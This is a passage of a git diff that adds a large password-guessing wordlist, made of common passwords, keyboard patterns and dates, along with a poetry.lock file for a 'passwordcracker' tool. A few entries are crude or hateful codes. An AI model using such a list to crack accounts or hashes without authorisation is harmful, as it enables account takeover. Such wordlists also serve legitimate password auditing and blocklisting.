+523614 +522552 +5218 +5215 +52145214 +5206 +5205 +5196 +5177 +5138825 +5136 +5090 +50694201 +504504 +5036 +5021 +501501 +500705738 +50005000 +4wheeler +4today +4mandy +49merc +4998 +4990 +4984 +4975 +4974 +4959 +4925 +4919 +4887 +4863 +4857 +4850 +4849 +4843 +4837 +4820 +4815162342s +4811 +4799 +479066 +4769 +4763 +475747 +4750131 +4750 +47474 +4743 +4737 +4733 +4729748 +4713 +4700 +46948530 +469469 +46855343 +468468 +4680 +4668 +4667 +46624662 +4661 +46604660 +46540535 +46494649 +4648246482 +4634 +4628 +4624 +4598 +4592 +4589 +456870 +45665 +456123q +45612378 +454987 +45344534 +4528 +451384 +45124512 +45034503 +4491 +4475 +447447 +4467 +44665555 +4464 +444719 +4446 +4445 +4442 +44324432 +4431 +4427 +441122 +4405 +440000 +4352 +4351558q +4340542zx +4335 +4333 +4315 +431431 +42p37 +4276 +4272 +4270 +4269115 +42674267 +4254254 +42514251 +425087 +42506 +4244 +4243216 +42344234 +4228 +4214 +42124212 +4204life +420187 +4192 +418541646 +4180 +4168 +415666 +4155 +4147 +413413 +413121 +41304130 +4129 +4121412 +40404 +40124012 +4005 +40044004 +3somes +3J8zegDo +3drcgiy6 +3angels +398399 +394600 +3940 +3936 +3925 +3923 +3920 +3916 +3911 +3891 +3873 +3866 +38553855 +381381 +3803 +3785 +377377 +37733773 +3758 +375375 +373996 +37133713 +3713 +3708 +370370 +3702 +3696 +36913691 +369100 +36903690 +3675 +3672 +365850413 +3651 +3641 +3638 +3632 +3626 +3622 +36143614 +3614 +3608774 +3606199 +3578vb +357000 +3546 +35403540 +35353 +3532 +3530 +352352 +351472 +3510 +3508 +3504 +35003500 +34lestat +3494 +3465 +345891670 +3454051maksim +3446 +34433443 +3441 +342434 +3424 +3423 +3418 +3408 +339933 +3391 +338833 +338338 +3371 +336905 +3366441 +3361 +335566 +334918 +333777999 +33366699 +3324 +3319 +33133313 +3312 +33113311 +3310 +3307 +3306 +3304895 +3299 +3297 +3281 +3279 +3277 +3262 +3243 +3241 +3229 +32233223 +322322 +32167890 +32132132 +3212321 +321111 +3208080 +3205 +320000 +3197 +3193 +3190 +3186 +3184 +3180 +3179 +3177 +317573 +3172 +3169 +3168 +3167 +31553155 +3147 +3145 +31423142 +312400 +3121013 +3117 +3116 +31143114 +311299 +31122007 +31122005 +31122004 +31121962 +31121961 +31121900 +3111995 +31108 +311070 +311064 +31103110 +31101959 +31101953 +310866 +31081967 +310779 +310766 +310756 +31071968 +31071960 +31071955 +3106 +310571 +31051959 +31051954 +31051952 +310397 +31035518 +31033103 +310199 +310198 +310172 +310171 +310170 +310162 +31012003 +3082 +30703070 +3067 +305256 +3044 +3024 +3022 +30201 +301mas +301297 +30128 +301268 +301266 +301264 +301260 +30122004 +30122002 +30121965 +30121963 +30121957 +301198 +30112000 +30111960 +301096 +301077 +301074 +301062 +301061 +30101999 +30101965 +300998 +300978 +300964 +300958 +300870 +300864 +30082000 +30081957 +30081952 +300773 +300768 +30072002 +300698 +300655 +300600 +300565 +300562 +30052003 +30052001 +30051967 +30051960 +30051955 +300468 +30042001 +30042000 +30041953 +300395 +300372 +300366 +30036 +300198 +300169 +300166 +300165 +300003 +2timer +2tight +2slick4u +2seams4u +2nipples +2insider +2hearts +2guard +2ewq1 +2dollars +2cool +2beornot +2b1ind2c +2974 +2959446 +2925 +2921 +291298 +291295 +291272 +291268 +291259 +29122000 +29121963 +29121962 +29121957 +291197 +291174 +291161 +29111967 +29111953 +291066 +291065 +291064 +29101998 +29101959 +29101956 +290997 +290969 +290962 +29091966 +29088 +290866 +290862 +290858 +29082001 +29081960 +290762 +29071957 +29071954 +29071952 +290665 +290662 +290599 +290577 +290568 +290561 +29052001 +29051964 +290461 +29042002 +29041954 +290378 +290361 +290360 +29031956 +290264 +29021952 +2902 +290197 +29011964 +29011960 +29011953 +28ttqaq +2899 +2897 +2892 +2857 +2827 +2821 +28198 +2816 +2813 +281299 +28121961 +281206 +281204 +28118 +281162 +28111963 +28111956 +281111 +28110 +281074 +281070 +28107 +281069 +28102006 +28101953 +28101952 +28091962 +28091961 +280866 +28081957 +280775 +280771 +280768 +280766 +280765 +28071967 +28071958 +28071956 +28071955 +280662 +28062001 +28061965 +28061963 +280568 +280563 +28051998 +28051963 +28051956 +28051952 +280472 +280467 +280465 +280460 +28041999 +28041957 +28040 +280373 +280366 +28032001 +28031999 +28031965 +28031959 +280296 +280271 +280266 +280263 +28021962 +280170 +280159 +28011951 +2799 +279279 +2788 +277rte87hryloitru +2771 +2756 +2750 +2746685 +2736 +2719 +271297 +271274 +271263 +27121956 +271199 +271175 +271168 +271155 +27111963 +271076 +271066 +2710198 +27101965 +27101962 +270997 +270970 +270960 +27091963 +27082000 +27081962 +27081960 +270798 +270774 +270765 +270760 +27071966 +27071959 +270698 +270667 +27061961 +27058 +270566 +270562 +270497 +270467 +270464 +27042009 +270366 +270360 +27031965 +270269 +270267 +270265 +270261 +270175 +270171 +270168 +270162 +270156 +27011954 +27011952 +2687 +2685 +2659 +2636 +2635 +2623020 +26222622 +261986 +261297 +261273 +261268 +261200 +261197 +261176 +261166 +261160 +26112611 +26111999 +26111954 +261071 +261063 +261061 +261056 +26101999 +26101956 +26101954 +260993 +260964 +260963 +26091962 +26091960 +260896 +260876 +260870 +260865 +260864 +260855 +26081956 +260796 +26071987m +26071957 +260666 +260660 +26061954 +260597 +260568 +260566 +26052007 +26052001 +26051966 +26051961 +26051957 +26042002 +26041959 +260399 +260369 +260363 +26031960 +26031959 +26031953 +260297 +26021961 +26021955 +260197 +260195 +260171 +26012010 +26011953 +260000 +25or624 +2594 +2591 +2585 +25844125 +258369147 +258079 +2580369 +258013 +2576 +2571 +2565 +25632563 +25502550 +25456585 +2538 +253425 +25242524 +252025 +251995 +251992 +251987 +251982 +25198 +25152515 +251268 +251260 +251258 +25121967 +25121959 +25121955 +25118 +251172 +25111959 +251106 +25110 +25107 +251063 +251062 +25102001 +251000 +250997 +25092001 +25091963 +25091955 +250899 +250898 +2507905048 +25078 +250764 +250763 +250762 +25072002 +25072001 +25071955 +25068 +250674 +250671 +2506198 +25061962 +25061958 +250567 +250559 +25052002 +25051958 +25051950 +25049 +250475 +250471 +250468 +250466 +250399 +25038 +250355 +250308 +250298 +25011948 +24992499 +24842484 +2483 +2481 +24802480 +2474 +246888 +246812 +246789 +2454240 +243546 +2432 +2424242 +2420 +241971 +241963 +2417 +2413 +241270 +24122004 +24121959 +24121958 +24121954 +241171 +241168 +241167 +24112411 +24112001 +24111997 +24111960 +24111959 +24111956 +241070 +241068 +241065 +24102001 +24101956 +240972 +240965 +240954 +24091963 +24091956 +240856 +24081962 +240799 +24072002 +24071966 +24071962 +240703 +240700 +240660 +24061958 +240564 +24052002 +24051998 +24051965 +24042003 +240373 +240370 +240361 +2403082 +240298 +240268 +240267 +240266 +240257 +24022402 +24021959 +24021958 +240199 +240156 +24011950 +239133 +23802380 +237241 +2370 +23682368 +2368 +2354381 +234678 +234589 +234548 +23352335 +2335 +23267601 +23262326 +231982 +231976 +231965 +231298 +23128 +231265 +231263 +231260 +231256 +23122008 +231167 +231158 +23112007 +2311198 +23111957 +23111956 +23102007 +23101966 +230959 +23091999 +23091963 +23091956 +23091954 +230895 +230873 +230870 +230867 +230866 +230860 +230850 +230798 +230755 +23071999 +23071955 +230661 +23062006 +23061967 +23061954 +230561 +23052003 +23051960 +23051900 +230505 +230495 +230468 +230456 +230454 +23041962 +230398 +230371 +230362 +230359 +23031960 +230303 +230250 +23021959 +23021958 +230199 +230174 +230156 +23011952 +230103 +2297 +2289 +22882 +22872287 +22752275 +2271 +22622262 +225577 +225566 +22532253 +22512251 +2244668800 +2239 +223300 +2231 +22302230 +22292229 +222333444 +222324 +22232223 +2222223 +221982 +22198 +221963 +221941 +221433 +221296 +221269 +221261 +221258 +221255 +22122002 +2212198 +221198 +22118 +221169 +221167 +221159 +22112003 +22111965 +22111953 +221092o +22107 +221069 +221066 +22101999 +22101954 +22101953 +22092007 +22092002 +22091958 +220856 +22082208 +22082003 +22081999 +22081964 +22081959 +22081956 +220808 +22071962 +220700 +22067 +220661 +220660 +22062001 +22061951 +220571 +220559 +22051957 +22051955 +22051954 +22051952 +220471 +220469 +22041955 +220400 +22032203 +22031955 +220302 +220269 +220267 +220264 +220260 +220259 +22022202 +220222 +22022001 +22021956 +220205 +220197 +220167 +22012001 +21qazx +2198 +21937 +2174 +217217 +2159 +215455 +21382138 +213546 +21342134 +21324354 +21292129 +212222 +212136 +211991 +211987 +211297 +211266 +211265 +21121961 +21121 +21118 +211170 +211166 +211158 +21112 +21111999 +211096 +21101965 +21101960 +210994 +210970 +210963 +210897 +210866 +210860 +210857 +210765 +21071962 +21071956 +21071955 +21070 +21067 +210661 +21061965 +21061959 +210597 +210557 +21051953 +210404 +21037 +210366 +210363 +210362 +210354 +21031957 +21031956 +21031954 +210269 +210261 +21021963 +21021958 +21021955 +210200 +21019 +210170 +21012003 +21011952 +21011 +210101 +20seats +2084 +207207 +2072 +2065 +2059 +2058 +2038 +2037 +2035 +2027 +2026 +202021 +202020a +202010 +20201 +202 +201994 +201984 +2017 +20128 +20127 +201262 +201255 +20121997 +20112001 +20111959 +201074 +201058 +20102010ss +20101963 +20101960 +20101956 +20098 +2009198 +20091955 +200872 +200864 +200863 +20081958 +200808 +200805 +200798 +200762 +200761 +200674 +200670 +200664 +20061957 +200599 +200598 +200594 +200567 +200561 +20052008 +20052003 +20051961 +20051955 +20051953 +200465 +200464 +200455 +20042008 +20041958 +200373 +200369 +200360 +200359 +200353 +20032004 +20031999 +200255 +200251 +20021954 +200197 +200153 +200010 +1z2z3z4z +1Yankees +1Wizard +1Walter +1Viking +1vette +1Tucker +1Truck +1Tomcat +1tiger +1Texas +1Testing +1Sucker +1Stud +1Steven +1Spooky +1Speed +1Slut +1Sierra +1Secret +1Rulez +1Rules +1Roberts +1Ripper +1Racing +1Qwertyu +1qazZAQ! +1qazxsw23 +1qazaq1 +1qaz2wsx3ed +1QAZ2WSX +1qaz23 +1px +1plus1 +1pepper +1penguin +1Pencil +1patrick +1Mother +1Morris +1moretim +1moose +1Mine +1Marino +1Linda +1Leonard +1Kitty +1Kevin +1Kenny +1Jungle +1Joseph +1Jester +1james +1Infinit +1hundred +1honda +1Helpme +1Heaven +1harley +1Hack +1Great +1gnogno2 +1Girl +1Gemini +1Gators +1Gator +1Galaxy +1Forever +1forever +1Ford +1Florida +1Fishing +1Enter +1Drummer +1Dreams +1Death +1Dancer +1d1d1d +1Cooper +1Connie +1Compaq +1Chaos +1Cccccc +1Calvin +1Brandon +1Boston +1Boobs +1Blaster +1Birdie +1billion +1Bigman +1Bernard +1Beaver +1Animal +1Alicia +1alex1 +1Airborn +1Adrian +1Adidas +1adgjmptw +1Accord +1a2b3c4d5 +1A2B3C4D +1a2b368c +19mm5409 +19km527 +199909 +1998vlad +19982001 +19982000 +199800 +199725 +199714 +199701 +199700 +19961996a +1996123 +199522 +19952010 +19951996 +1995199 +199519 +199514 +199509 +199413 +19941201 +199405 +199403 +19932010 +199316 +199313 +199310 +199300 +199215 +199213 +199208 +1991pmoy +199120 +199118 +199018 +199015 +19900125 +199001 +19900 +1989god +198919891989 +198915 +198914 +198909 +198905 +198829 +198823 +19881987 +198812 +198801 +198725 +19872008 +198719871987 +198718 +198716 +198703 +198626 +198612 +198609 +198606 +198605 +198604 +198602 +19860 +198525 +19851989 +19851984 +198518 +19851 +198509 +198444 +198426 +19842005 +19842 +19841985 +19841983 +198416 +198409 +198404 +198402 +198401 +19832005 +19831984 +198312 +198306 +198302 +198230 +198211 +198209 +198205 +198201 +198198 +198128 +198107 +19799791 +197928 +197921 +197915 +197904 +197826 +19781 +19777 +197708 +197707 +197706 +197704 +197666 +197631 +197630 +197624 +197622 +197577 +197525 +197503 +197444 +197428 +197425 +197407 +197382 +197333 +197330 +1973197 +197313 +197312 +197304 +19722791 +197221 +19722 +19721975 +197212 +19711972 +197106 +197071 +197070 +196999 +1968gto +196888 +196878 +196827 +19677691 +1966gto +196464 +196312 +196011 +195819 +19577591 +195111 +19450509 +19374628 +193746 +193711101994a +193333 +19291929 +19241924 +19216803 +192021 +191983 +191981 +19198 +19181716 +191765 +191274 +191272 +191270 +191268 +191255 +19122001 +19121956 +191178 +191172 +191171 +191164 +19111998 +19111968 +19111957 +19111953 +191093 +191084 +191080 +19101999 +19101958 +190994 +190992 +190975 +190973 +19097 +19092000 +19091955 +190898 +19088 +19081961 +19081955 +190797 +19078 +190775 +190765 +19071961 +190697 +19068 +190666 +190660 +19062002 +19061955 +19061906 +190573 +190569 +190564 +190500 +190495 +190492 +190478 +19041961 +19041957 +190372 +19031968 +19031952 +190272 +19021957 +19021952 +190200 +190197 +190175 +19011953 +1890 +1883 +187666 +1873 +1866 +18571857 +18481848 +1844 +1838 +1834 +1831 +181972 +1816 +1815 +181259 +18121945 +181204 +181180 +181178 +181171 +181161 +18112005 +18111959 +181097 +181092 +18101959 +181000 +180996 +180972 +180966 +180964 +180962 +180869 +180861 +180859 +18082003 +18081962 +18081956 +18078 +180773 +18072001 +18071959 +18071957 +18071955 +18071950 +180674 +180668 +180667 +18061955 +180594q +180566 +18052002 +18051964 +18051956 +18051955 +180465 +180458 +18041959 +18041958 +18041957 +18041956 +18041954 +18041953 +18040 +180372 +18036 +18031957 +18031954 +180270 +180262 +18022001 +18018 +180170 +180164 +180158 +18011962 +18011959 +18011801 +1792 +1790 +178353 +178178 +1778397 +17631763 +175175 +1743 +1741 +173468 +1731 +17308913 +171991 +171272 +17121962 +17121951 +17121950 +171198 +171166 +17111966 +17111960 +17111958 +171097 +171075 +171073 +171068 +17101958 +17101955 +170996 +170966 +170962 +170961 +170957 +17092002 +170897 +170870 +170869 +170867 +170778 +170771 +170765 +170763 +17072001 +17071965 +170698 +170667 +170664 +170663 +170660 +170568 +170464 +17042004 +17041962 +17041956 +170399 +170398 +170371 +170368 +170363 +17032005 +17032000 +17031962 +17031960 +17031949 +170268 +170257 +17021955 +1701ab +170175 +170165 +17012001 +17011968 +17011959 +17011950 +170100 +1697 +1693 +167349 +1673 +166166 +16611661 +1658 +1653 +165165 +1645 +1642 +162636 +16261626 +16251625 +1622br +16201620 +161988 +1616161 +161422 +161296 +16121999 +161197 +161166 +161123 +16112002 +16112001 +16111969 +16111965 +16111956 +161111 +161097 +161062 +161061 +16101959 +160999 +160998 +160996 +160968 +160967 +16092001 +1609198 +16091964 +160768 +16071969 +16071963 +16071956 +16071952 +160672 +160667 +160666 +160662 +16066061 +16062006 +16061959 +16061954 +16052002 +16052001 +16051966 +16051959 +16051957 +160474 +160473 +160468 +16042003 +16038 +160371 +16032007 +16032002 +160298 +16028 +160268 +160260 +16021962 +16021960 +160196 +160156 +16012003 +16011955 +15gtha +159874123 +15987 +15975382 +159753258456 +159741 +15951595 +1595159 +159515 +1594 +159357z +159357s +159357lik +159357159357 +1593 +159265 +159263487 +15801580 +1576 +15701570 +1568 +1549 +153828 +15357595 +15351535 +153045 +15263748 +15251525 +152121 +151976 +15141514 +151268 +151267 +151262 +15122001 +15121953 +151175 +151169 +151157 +15112006 +15111961 +15111959 +151098 +15102003 +150962 +15091960 +15091509 +150901 +150875 +150870 +150869 +150866 +150862 +15082002 +15081999 +15081952 +15071962 +15071955 +150706 +15069 +150671 +150669 +1506164 +150607 +150568 +150566 +150565 +150562 +15051999 +150499 +150473 +150463 +150459 +15041961 +15041958 +150398 +150366 +150360 +15032000 +15031949 +150269 +150264 +15021958 +15021950 +150194 +150171 +150164 +150163 +15011958 +15011956 +15011952 +14bestlist +149149 +1488ss1488 +1485 +1478963215 +147258369q +1467 +14581458 +145263 +14311431 +141994 +141982 +141979 +141973 +141274 +141254 +14121998 +14121963 +14121958 +141214 +141197 +141173 +141169 +141161 +14112001 +14111997 +14111966 +14111959 +141098 +141073 +141066 +14102006 +14102003 +141000 +140997 +140996 +140973 +140971 +140967 +14091966 +14091951 +140898 +140867 +14082007 +140774 +14071965 +14071956 +140699 +140672 +14061955 +140567 +140565 +140559 +14052001 +140497 +140464 +14042003 +14042001 +14041965 +14041954 +14041404 +140375 +140369 +140367 +14031969 +14031956 +14031955 +14031953 +140266 +140257 +14021956 +140206 +140196n +140167 +14012002 +14011960 +139713 +1395 +13881388 +137900 +13761376 +1368 +13671367 +135qet +13551355 +13467913 +134500 +1340cc +13401340 +1337ness +13377331 +1334 +13271327 +132639 +13243 +132321 +132132132 +132123 +131313a +131313131313 +131264 +131259 +13122008 +13122006 +13121959 +13121957 +13121954 +131196 +131176 +131156 +13111957 +13111311 +131063 +13102006 +130964 +13092008 +13092006 +13091963 +130858 +13082001 +13081308 +13078 +130773 +13072006 +13071967 +13071964 +13070 +130663 +13061967 +13061961 +13061957 +13061954 +13051969 +13051952 +130499 +130465 +130455 +130398 +130371 +130363 +130358 +130355 +13032002 +13031999 +13031951 +1302alex1994 +130265 +130258 +13021959 +13021957 +13021100 +130175 +13012005 +13012002 +13011958 +12qwer34 +12many +12gauge +12ab34cd +12891 +1286091 +128256512 +12781278 +127777 +127562 +127549 +127486 +127001 +125712571257d +12567 +125555 +12533 +125125125 +1245780 +12441244 +123zxc456 +123yfcnz +123wert +123to123 +123qwerty456 +123qwe45 +123qwe4 +123qazwsxedc +123pass +123iop +123go +123ddd +12391239 +123789a +123789852 +123654123 +1236540 +1234zx +1234r +123490 +12345zzz +12345zxcv +12345www +12345six +12345M +12345lox +12345love +12345ira +12345den +123456oe +123456az +1234567g +1234567e +1234567aa +12345678n +123456789Z +1234567899876543 +123456789123456 +123456789101112 +1234567890l +1234567890g +1234567890123 +1234567812345678 +123456654321a +1234562 +123442 +12344 +123434 +1233456 +123321v +123312 +12325 +123164 +123160 +123154 +123123qw +123_123 +12311994 +123070 +123061 +123056 +1230456 +122977 +12291229 +122779 +122757 +122699 +122566 +122491 +122477 +122470 +122400 +12234 +122087 +122071 +122001 +121971 +121969 +121959 +121881 +121880 +12182 +121783 +121774 +121695 +121586 +121581 +121576 +121478 +12141 +121357 +121351 +121314a +12131415q +12127 +121264 +12122007 +12122006 +12121956 +12121313 +121198 +12116av +121156 +12111948 +12109 +121062 +12101962 +12101960 +121004 +120971 +120958 +120956 +120934 +120867 +120864 +12081957 +12081956 +12081953 +120803 +12078 +120763 +120748 +12071954 +12071953 +120667 +12061959 +120599 +120566 +12051960 +12051956 +120455 +12041952 +120405 +120366 +120364 +12032000 +12031955 +12031954 +120271 +120266 +120258 +120254 +12021959 +120208 +120171 +120164 +120156 +12011958 +12011951 +11eleven +11921192 +11791179 +117463 +11711bbl +116611 +11561156 +115500 +11461146 +113611 +11339977 +113366 +113344 +113300 +11321132 +113082 +112879 +112790 +112683 +112674 +11261126 +112611 +112568 +112566 +11251983 +112470 +112467 +112396 +112321 +112300 +112290 +112282 +112277 +112268 +11226 +1122112 +112181 +112178 +11215 +112131 +112011 +111991 +111968 +111958 +111674 +111555999 +11151115 +111376 +111354 +11131113 +111251 +111234 +11121964 +11121957 +11121956 +1111zz +1111qqq +111141 +11111956 +11111948 +111111v +111111d +11111111q +1111111111111 +111110 +111095 +11101110 +11101 +110998 +11092000 +11091955 +11091109 +110902 +110901 +11088 +110853 +11081955 +110806 +110801 +11078 +110768 +110765 +110757 +11072008 +11071999 +11071961 +11071956 +11071954 +11071107 +110707 +110666 +11062009 +11061951 +110567 +110559 +110469 +110461 +110455 +11041960 +11041958 +110397 +110395 +110370 +110354 +11031958 +11031953 +11029 +110265 +110263 +110258 +110168 +110157 +11012002 +11011956 +11011954 +1100101 +110000 +10xby49k +10toes +10904 +1071988 +10617906 +105400 +1051983 +1047977 +1038 +103099 +103050 +103030 +102969 +102767 +102680 +102583 +102571 +102570 +102503 +102484 +102473 +102399 +10236 +102300 +102294 +10221022 +102200 +102178 +102171 +102101 +102081 +102070 +101abn +101977 +101967 +101962 +101949 +101886 +101818 +101781 +10166 +101579 +101566 +10152417 +101489 +101400 +101298 +101261 +101260 +101253 +10121960 +101219 +1012010 +101162 +101153 +10112001 +10111950 +101110 +10107 +101054 +101048 +101025 +1010198 +10101962 +10101010m +101006 +10098 +100960 +100955 +10092009 +10091954 +100896 +100873 +100872 +100871 +100854 +100844 +10081999 +10081955 +10081954 +10080 +100769 +100761 +10072003 +10071959 +10071956 +10071955 +10071954 +10071949 +100705 +100658 +100655 +10062006 +10062001 +10061955 +100605 +10058 +100563 +100560 +10052001 +100468 +10042010 +10042008 +10042000 +10041957 +10041954 +1003198 +10031950 +100297 +100264 +100257 +10022007 +10022006 +10021956 +10021955 +100199 +100163 +100161 +100156 +10011959 +100106 +0wnz +0995359291 +0987654a +0981 +092002 +091986 +091979 +091878 +091865 +09141974 +09140914 +091295 +091278 +091265 +09121961 +09121957 +091199 +09111998 +091067 +091064 +091057 +09102001 +09101999 +09101960 +090998 +090973 +090967 +09092006 +09091966 +090895 +090893 +090865 +090862 +090861 +09081958 +09080908 +090776 +090775 +09072000 +09071957 +09071953 +090708 +090676 +090666 +090664 +09061958 +090573 +090568 +090555 +090494 +090469 +090371 +090364 +09031968 +09031965 +09031957 +090282 +090279 +090274 +090265 +090264 +09021955 +090199 +09011969 +09011955 +0899 +0898 +089089 +0890 +0881 +08800880 +0878 +0852123 +082280 +081989 +081983 +081980 +081299 +081270 +081260 +08121958 +081173 +081096 +08101997 +080968 +080967 +080962 +08092001 +08091961 +08091954 +08090809 +08088 +08081956 +080800 +08072002 +08071959 +080700 +080665 +08061960 +080597 +080566 +080559 +080474 +080471 +080468 +08042000 +08041960 +08041959 +080369 +080368 +080367 +080362 +080361 +08031949 +08031947 +080270 +080268 +080252 +080250 +08022001 +08021956 +080195 +080176 +080169 +080167 +08011958 +08011954 +0789 +0771 +077077 +0768 +0747 +0735 +072000 +071956 +071377 +071297 +071271 +071266 +071265 +07122006 +07121965 +07121956 +071203 +07111967 +071095 +071094 +071093 +071091 +07101961 +07101956 +070973 +070967 +070962 +07091959 +070874 +070862 +070859 +07082004 +07081953 +070798 +070796 +07072001 +070679 +070669 +070667 +070666 +07061964 +07061955 +070608 +070575 +070573 +070571 +070569 +070565 +070562 +07051968 +07051952 +070499 +070495 +070464 +07042001 +07042000 +07041955 +07031969 +07031967 +070297 +070278 +07021958 +07021957 +07021954 +070191 +070175 +070171 +070162 diff --git a/cmd/passwordcracker/poetry.lock b/cmd/passwordcracker/poetry.lock new file mode 100644 index 0000000..4098272 --- /dev/null +++ b/cmd/passwordcracker/poetry.lock @@ -0,0 +1,3903 @@ +# This file is automatically @generated by Poetry and should not be changed by hand. + +[[package]] +name = "aio-pika" +version = "8.3.0" +description = "Wrapper for the aiormq for asyncio and humans." +category = "main" +optional = false +python-versions = ">3.6, <4" +files = [ + {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"}, + {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"}, +] + +[package.dependencies] +aiormq = ">=6.6.3,<6.7.0" +yarl = "*" + +[package.extras] +develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"] + +[[package]] +name = "aioboto3" +version = "10.4.0" +description = "Async boto3 wrapper" +category = "main" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"}, + {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"}, +] + +[package.dependencies] +aiobotocore = {version = "2.4.2", extras = ["boto3"]} + +[package.extras] +chalice = ["chalice (>=1.24.0)"] +s3cse = ["cryptography (>=2.3.1)"] + +[[package]] +name = "aiobotocore" +version = "2.4.2" +description = "Async client for aws services using botocore and aiohttp" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"}, + {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"}, +] + +[package.dependencies] +aiohttp = ">=3.3.1" +aioitertools = ">=0.5.1" +boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""} +botocore = ">=1.27.59,<1.27.60" +wrapt = ">=1.10.10" + +[package.extras] +awscli = ["awscli (>=1.25.60,<1.25.61)"] +boto3 = ["boto3 (>=1.24.59,<1.24.60)"] + +[[package]] +name = "aiohttp" +version = "3.8.4" +description = "Async http client/server framework (asyncio)" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"}, + {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"}, + {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = 